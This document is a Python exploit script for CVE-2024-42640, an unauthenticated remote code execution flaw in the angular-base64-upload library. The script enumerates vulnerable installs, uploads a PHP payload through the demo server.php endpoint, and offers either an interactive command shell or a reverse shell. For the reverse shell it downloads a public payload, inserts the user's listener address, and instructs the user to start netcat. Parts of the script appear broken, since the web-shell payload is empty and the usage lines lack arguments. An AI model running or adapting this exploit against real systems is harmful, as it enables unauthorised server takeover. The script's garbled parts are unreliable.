# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE) # Date: 10 October 2024 # Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) # Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) # Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload # Software Link: https://github.com/adonespitogo/angular-base64-upload # Version: prior to v0.1.21 # Tested on: Arch Linux # CVE : CVE-2024-42640 # Severity: Critical - 10.0 (CVSS 4.0) # Github Link : https://github.com/rvizx/CVE-2024-42640 # Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html import re import subprocess import requests import sys import os import uuid import base64 import cmd from urllib.parse import urlparse def banner(): print(''' \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9 https://github.com/rvizx/\033[0mCVE-2024-42640 ''') def check_version(target): response = requests.get(target) first_line = response.text.splitlines()[0].strip() match = re.search(r'v0\.(1|0)\.(\d+)', first_line) if match: version = match.group(0) x_value = int(match.group(1)) if x_value <= 20: print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}") else: print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}") exit() else: print("\033[91m[err]:\033[0m couldn't find the version") def enum(url): print("\033[94m[inf]:\033[0m enumerating... ") target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js" r = requests.head(target) if r.status_code == 200: print("\033[94m[inf]:\033[0m target is using bower_components") check_version(target) else: print("\033[94m[inf]:\033[0m target is not using bower_components") target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js" r = requests.head(target) if r.status_code == 200: print("\033[94m[inf]:\033[0m target is using node_modules") check_version(target) else: print("\033[94m[inf]:\033[0m target is not using node_modules") print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js") print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory") print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html") print("\033[91m[err]:\033[0m exiting..") exit() exploit(target) class CmdShell(cmd.Cmd): username = subprocess.check_output("whoami", shell=True).strip().decode() domain = urlparse(sys.argv[1]).netloc prompt = f"{username}@{domain} > " def __init__(self, payload_url): super().__init__() self.payload_url = payload_url def default(self, line): url = f"{self.payload_url}?cmd={line}" try: response = requests.get(url) print(response.text) except requests.RequestException as e: print("\033[91m[err]:\033[0m {e}") def do_exit(self, arg): return True def exploit(target): print(f"[dbg]: {target}") target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php") print(f"[dbg]: {target_server_url}") payload_name = str(uuid.uuid4())+".php" if len(sys.argv) > 2: if sys.argv[2] == "--rev": revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php" print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..") ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ") port = input("\033[93m[ins]:\033[0m enter listenter port: ") print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}") input("\033[93m[ins]:\033[0m press enter to continue...") print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...") response = requests.get(revshell) if response.status_code == 200: payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input with open(payload_name, "w") as file: file.write(payload) payload_url = upload_to_server(payload_name,target_server_url) print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..") r = requests.get(payload_url) if r.status_code == 200: print("\033[94m[inf]:\033[0m process complete!") else: print("\033[91m[err]:\033[0m something went wrong!") print("\033[93m[ins]:\033[0m please check the listener for incoming connections.") else: print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.") print("\033[91m[err]:\033[0m exiting..") exit() else: payload = "" with open(payload_name, "w") as file: file.write(payload) payload_url = upload_to_server(payload_name,target_server_url) cmd_shell = CmdShell(payload_url) cmd_shell.cmdloop() def upload_to_server(payload_name,target_server_url): try: with open(payload_name, 'rb') as file: file_content = file.read() base64_payload = base64.b64encode(file_content).decode('utf-8') headers = { 'Content-Type': 'application/json', } json_data = { 'base64': base64_payload, 'filename': payload_name, } response = requests.post(target_server_url, headers=headers, json=json_data, verify=False) print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code) updemo_endpoint = f"uploads/{payload_name}" print(f"[dbg]: {updemo_endpoint}") payload_url = target_server_url.replace("server.php",updemo_endpoint) print(f"[dbg]: {payload_url}") if response.status_code == 200: print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}") return payload_url else: print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server") exit() except Exception as e: print(f"\033[91m[err]:\033[0m {e}") exit() if __name__ == "__main__": try: banner() if len(sys.argv) > 1: url = sys.argv[1] print(f"\033[94m[inf]:\033[0m target: {url}") enum(url) else: print("[usg]: ./exploit.py ") print("[usg]: ./exploit.py --rev") exit() except Exception as e: print(f"\033[91m[err]:\033[0m {e}") exit()